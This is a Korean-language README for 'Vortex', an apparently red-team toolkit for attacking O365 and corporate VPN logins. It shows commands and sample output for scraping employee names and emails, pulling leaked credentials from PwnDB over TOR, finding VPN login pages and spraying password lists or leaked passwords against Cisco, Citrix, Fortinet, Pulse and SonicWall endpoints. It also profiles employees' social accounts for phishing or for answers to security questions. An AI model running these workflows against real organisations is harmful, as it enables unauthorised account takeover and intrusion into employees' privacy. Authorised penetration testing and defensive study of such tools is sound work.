
VPN 전반적인 정찰, 테스트, 열거 및 익스플로잇 툴킷
🚩 이는 vortex의 공개 저장소입니다. 최신 버전과 업데이트를 원하시면 https://porchetta.industries/를 통해 지원을 고려해주세요.
VPN 종합 정찰, 테스트, 열거 및 익스플로잇 툴킷
이 프로젝트를 후원하고 vortex의 최신 업데이트, 최신 이슈 수정, 최신 기능을 받으시려면 https://porchetta.industries/에서 지원해주세요.
Discord에서 함께 놀아요!
[SprayingToolkit][1]에서 영감을 받은 매우 간단한 Python 프레임워크로, 일반적인 O365 및 VPN 엔드포인트(Cisco, Citrix, Fortinet, Pulse 등)를 탐지, 열거 및 공격하는 데 필요한 대부분의 프로세스를 자동화하려고 합니다.
VPN 스프레이 공격 단계를 훨씬 더 빠르고 쉽게 만듭니다. 또한 유연성 덕분에 이 도구는 기존 OSINT 워크플로우에 매우 쉽게 추가할 수 있습니다.
Vortex는 주로 다음 작업을 수행하는 데 도움을 줍니다:
pip3를 사용하여 다음과 같이 필수 구성 요소를 설치합니다:``` sudo -H pip3 install -r requirements.txt
### Virtualenv로 설치하기
그렇지 않으면, 가상 환경을 사용하여 사전 요구 사항을 설치할 수 있습니다:
###### Windows에서```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## 사용법
이 도구는 매우 간단하지만 따라야 할 작업 흐름이 있습니다. 이 도구는 현재 공격에 대한 정보를 저장하기 위해 SQLite 데이터베이스를 사용합니다.
### 작업 공간
작업 공간은 도구가 사용하는 데이터베이스 파일을 나타냅니다. 이름은 현재 공격, 프로젝트 또는 대상을 식별하는 간단한 이름이어야 합니다.
각 작업 공간에는 하나의 SQLite 데이터베이스가 할당됩니다. 다음과 같이 작업 공간 이름을 지정할 때:```
python manage.py -w workspace1
당신이 실제로 말하는 것은 "workspace1.db 파일을 조작하고 싶다"입니다.
제대로 작동하려면 Vortex가 올바른 스키마로 DB를 초기화해야 합니다. 그렇게 하기 위해 해야 할 일은 명령어를 실행하는 것뿐입니다:``` python manage.py -w workspace1 db -c init
사용자가 이 단계를 건너뛰려고 하면, Vortex는 먼저 실행해야 할 올바른 명령어를 화면에 출력할 것입니다.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
대신, 동일한 명령을 기존에 초기화된 DB에 대해 실행하면, Vortex는 DB 파일을 덮어쓰기 전에 확인을 요청합니다:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Actions and commands
Vortex는 하나의 위치 인수인 'Action'과 다른 키 값과 함께 동작합니다.
그중 가장 중요한 것은 명령 인수(`-c cmd`)입니다. 동작 값과 함께
명령은 Vortex가 수행할 작업을 정의합니다.
지원되는 동작 목록은 도움말에서 확인할 수 있습니다:```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
도움말에서 볼 수 있듯이, 각 작업별로 지원되는 명령 목록은 어디에도 명시되어 있지 않습니다. 이는 명령을 직접 지정할 필요가 없기 때문입니다. 실제로 명령을 지정하지 않으면 Vortex는 사용자에게 지정된 작업에 사용 가능한 명령 중 하나를 선택하도록 요청합니다.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
특정 루틴에 필요한 인수에도 동일하게 적용됩니다. 런타임에 인수를 입력하기 어려운 경우, Vortex는 사용자에게 해당 매개변수가 필요함을 친절히 알려줍니다. 그렇지 않으면 Vortex는 사용자가 필요한 인수를 선택하거나 입력하도록 안내합니다.
예를 들어, 사용자가 특정 테이블이나 심지어 열을 내보내려면 아래 이미지에서 볼 수 있듯이 내보내기 명령을 실행하기만 하면 됩니다.

이러한 동작 덕분에 Vortex는 사용하기 매우 쉽습니다.
### 일반 워크플로우
Vortex는 아래 스키마에 요약된 특정 작업 워크플로우를 따르도록 설계되었습니다.

### 작업
#### 사용자 수집
특정 대상에 대한 유효한 사용자를 수집하는 것은 세 가지 다른 소스를 사용하여 수행할 수 있습니다.
* LinkedIn
이 소스는 LinkedIn 사용자 정책 위반으로 인해 제거되었습니다.
하지만 [GoMapEnum](https://github.com/nodauf/GoMapEnum)을 사용하여 LinkedIn에서 작업할 수 있으며,
그런 다음 `import` 명령을 사용하여 이메일 주소를 가져올 수 있습니다.
다시 말씀드리지만, 이 기능을 사용하는 것은 LinkedIn 사용자 동의서의 [8.2](https://www.linkedin.com/legal/user-agreement#dos) 항목에서 볼 수 있듯이 LinkedIn 사용자 계약을 위반하는 것입니다.
> 귀하는 다음을 하지 않을 것에 동의합니다: [...]
> 2. 서비스를 스크래핑하거나 프로필 및 기타 데이터를 복사하기 위해 소프트웨어, 장치, 스크립트, 로봇 또는 기타 수단이나 프로세스(크롤러, 브라우저 플러그인 및 애드온 또는 기타 기술 포함)를 개발, 지원 또는 사용합니다.
* CrossLinked
위 기능을 부분적으로 대체하기 위해, 이 도구는 [CrossLinked](https://github.com/m8r0wn/CrossLinked)의 수정된 버전을 포함하고 있습니다.
이 도구는 Google과 Bing을 사용하여 회사의 직원을 감지하려고 시도합니다.
LinkedIn에서 직접 검색하는 것과는 확실히 다르지만 상당히 유용합니다.
올바르게 작동하기 위해, 도구는 사용자에게 사용자 이름에 어떤 형식을 사용할지(예: john.doe, j.doe 또는 d.john)와 대상 도메인에서 사용하는 표준 도메인이 무엇인지 물어볼 것입니다.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
이 소스는 theHarvester의 축소 및 수정된 버전을 사용하여 운영됩니다. 이 도구는 Google Dorks를 사용하여 Google에서 이름/이메일을 추출(수동 수집)하고, 회사 웹사이트에서 추출(능동 수집)을 시도합니다.``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
이 소스는 [sn0int](https://github.com/kpcyrd/sn0int)에 구현된 버전을 포팅한 것을 사용하여 운영됩니다.
**참고**: 이 기능은 TOR 네트워크에 연결되어 있어야 합니다. Windows에서는 Vortex에 포함된 내장 버전을 사용할 수 있습니다. 반면 Linux에서는 tor 패키지를 설치해야 합니다 (예: Kali에서 `sudo apt-get install tor`).
##### TOR 시작```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### TOR 중지```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex는 엔드포인트를 크게 두 가지 매크로 범주로 사용합니다: VPN 엔드포인트와 Microsoft (Office) 엔드포인트입니다. 대상은 Office 또는 VPN 엔드포인트로 추가될 수 있으며, Vortex는 다양한 검증기를 사용하여 각각 Office 또는 VPN 엔드포인트로 검증을 시도합니다.
예를 들어 설명하겠습니다. 사용자는 대상 evilcorp.com을 공격해야 하며,
해당 도메인이 OWA, Lync, ADFS 또는 O365 대상인지 확인하려고 합니다.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### VPN 엔드포인트를 위한 서브도메인 검색
VPN 엔드포인트의 경우, 사용자는 서브도메인 검색을 수행하여 VPN 웹 로그인을 실행 중인 호스트를 찾을 수 있습니다,
like this:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
VPN 엔드포인트를 수동으로 추가하려면, 물론 최상위 도메인만 지정하는 것으로는 충분하지 않을 것입니다. 올바른 방법은 VPN 웹 서버가 실행 중인 특정 포트와 함께 특정 하위 도메인을 지정하는 것입니다.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### OWA, ADFS, LYNC, O365에 대한 패스워드 스프레이 또는 무차별 대입 공격 수행
패스워드 스프레이 또는 무차별 대입 공격을 수행하려면 필요한 것은
텍스트 파일 형식의 패스워드 목록이며, 각 줄에 하나의 패스워드가 있어야 합니다.```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
패스워드 스프레이 또는 무차별 대입 공격을 수행하기 위해 필요한 유일한 리소스는 한 줄에 하나의 패스워드가 있는 텍스트 파일 형태의 패스워드 목록입니다.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### 유출된 자격 증명을 사용하여 패스워드 스프레이 또는 무차별 대입 공격 수행
Vortex는 PwnDB에 유출된 자격 증명을 추적하므로, 사용자는 비밀번호 파일을 제공하는 대신 유출된 모든 자격 증명을 테스트하도록 선택할 수 있습니다.
그러나 이 동작은 일반적인 패스워드 스프레이와는 매우 다르다는 점에 유의하세요. 일반적인 패스워드 스프레이 공격에서는 실제로 단일 비밀번호가 모든 사용자에 대해 시도됩니다. 유출된 자격 증명 공격에서는 유출된 자격 증명이 해당 자격 증명이 유출된 특정 사용자에 대해 테스트됩니다. 예를 들어, Vortex가 다음과 같은 유출 정보를 찾았다고 가정해 보겠습니다:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
Vortex는 다음 시도들을 수행하며, 오직 그 시도들만 수행합니다.``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
이 공격을 수행하기 위해 비밀번호 파일이 필요하지 않지만, (-L, 또는 --leaks) 매개변수를 설정해야 합니다.```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
그게 대부분입니다. 때때로 도구는 공격을 수행하기 전에 VPN 영역/그룹 선택과 같은 추가 정보를 요청할 수 있습니다.
언제든지 다음 명령어를 사용하여 찾은 유효한 로그인을 확인할 수 있습니다:``` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### 소셜 네트워크 프로필 검색
때로는 대규모 프로젝트에서 대상에 대해 조금 더 아는 것이 방어선을 뚫는 데 도움이 되었습니다. 예를 들어, 피싱에 개인 이메일이나 소셜 계정을 사용하거나 비밀번호 재설정 보안 질문에 대한 답변을 찾는 경우 등이 있습니다.
이러한 이유로 저는 [Profil3r](https://github.com/Greyjedix/Profil3r)를 통합했습니다. 이 도구는 개인과 잠재적으로 관련된 소셜 네트워크 계정을 식별하려고 시도합니다.
**중요 참고사항**: Profil3r는 이름 매싱을 사용하여 유효한 프로필을 찾으려고 합니다. 찾은 프로필이 실제로 대상 인물과 관련되어 있다고 보장할 수 없습니다. 이러한 이유로 프로필은 Vortex DB에 자동으로 추가되지 않습니다.
현재 Profil3r는 두 가지 모드로 작동할 수 있습니다:
* 단일 모드
* 다중 모드
단일 모드는 사용자가 제공한 키워드 세트를 기반으로 작동합니다:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
다중 모드는 DB에 있는 각 사용자의 이름과 성을 기반으로 작동합니다. 다중 모드에서 추가 키워드가 전달되면 사용자의 이름 및 성과 결합하여 사용됩니다. 예를 들어, 추가 이름이나 숫자를 사용하여 프로필 검색을 사용자 정의할 수 있습니다.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### 외부 데이터 가져오기
Vortex는 사용자나 엔드포인트와 관련된 외부 데이터를 가져오는 기능도 지원합니다.
현재는 일반 텍스트 파일만 지원되며 CSV도 제한적으로 지원됩니다.
현재까지 가져올 수 있는 데이터 유형은 다음과 같습니다:
* 이메일 주소
* 사용자 이름
* VPN 엔드포인트 (대상:포트)
* 도메인
* ~~PwnDB에서 유출된 데이터~~ 사용 중단됨: search 명령어를 사용하세요
* ~~Blues~~로 추출한 LinkedIn 데이터
모든 데이터 유형은 일반 텍스트 파일 형식으로 지원되며, 한 줄에 하나의 요소를 입력합니다.
## 로드맵
새로운 기능이 곧 제공됩니다 (2022):
* 스마트 비밀번호 목록 생성
* 데이터 추출 및 상관 관계 분석
버그, 제안 또는 기능 요청을 제출해 주세요.
## 크레딧
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): [SprayingToolkit][1]에 대한 놀라운 작업. 이는 프로젝트에 영감을 주었습니다.
* [nodauf](https://twitter.com/nodauf): [GoMapEnum](https://github.com/nodauf/GoMapEnum)에 대한 작업으로 다른 아이디어를 얻었습니다.
* [quasart](https://github.com/quasart): 로고는 [spiral](https://github.com/quasart/spiral)로 생성되었습니다.
* [m8r0wn](https://twitter.com/m8r0wn): [CrossLinked](https://github.com/m8r0wn/CrossLinked)에 대한 작업은 정말 멋진 도구입니다.
* [Greyjedix](https://github.com/Greyjedix/): [Profil3r](https://github.com/Greyjedix/Profil3r)에 대한 작업은 특정 상황에서 매우 유용한 도구입니다.
[1]: https://github.com/byt3bl33d3r/SprayingToolkit